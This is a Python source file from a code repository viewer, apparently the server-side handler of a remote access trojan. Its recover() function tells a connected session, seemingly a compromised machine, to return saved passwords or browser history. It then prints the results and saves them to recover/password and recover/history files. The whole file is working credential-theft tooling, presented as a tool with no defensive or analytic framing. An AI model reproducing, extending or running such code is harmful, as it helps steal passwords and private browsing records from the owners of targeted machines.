summaryrefslogtreecommitdiff
path: root/domestic/session/server_handling/recover.py
blob: 0c29c4cca7d1f09e9827454c05d30f852f7f090c (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from domestic.parse.error_exception_handling import *
from domestic.utility.validate_dict_key import *
from domestic.session.session_message import *
from domestic.utility.status_message import *
from domestic.make.make_history import *
from domestic.global_state import *


@error_exception_handling
def recover(message):
  password = validate_dict_key(message, 'password')
  history = validate_dict_key(message, 'history')
  quiet = validate_dict_key(message, 'quiet')
  force = validate_dict_key(message, 'force')

  if force is None:
    message['force'] = False

  if password:
    del message['password']
    message['action_type'] = 'password'

    if quiet:
      del message['quiet']

    data = session_message(message, False)

    if quiet is None:
      text = [x for x in data['message'].split('\n') if x != '']
      count = 0

      for line in text:
        if line[:3] == '[+]':
          print()
          status_message(line[4:], 'success', {'end': True, 'point': 'empty'})
        elif line[:3] == '[-]':
          print()
          status_message(line[4:], 'danger', {'end': True, 'point': 'empty'})
        elif line[:19] == '-------------------':
          if count != 0: print()
          count += 1
          status_message(line, 'raw')
        else:
          status_message(line, 'raw')
      print()
      
    make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered')
  elif history:
    del message['history']
    message['action_type'] = 'history'

    if quiet:
      del message['quiet']

    data = session_message(message, False)

    if quiet is None:
      for browser, browser_data in data['message'].items():
        browser = browser.capitalize()
        for link, title, date in browser_data:
          status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True})
      print()

    make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered')
  else:
    raise Exception('Error message')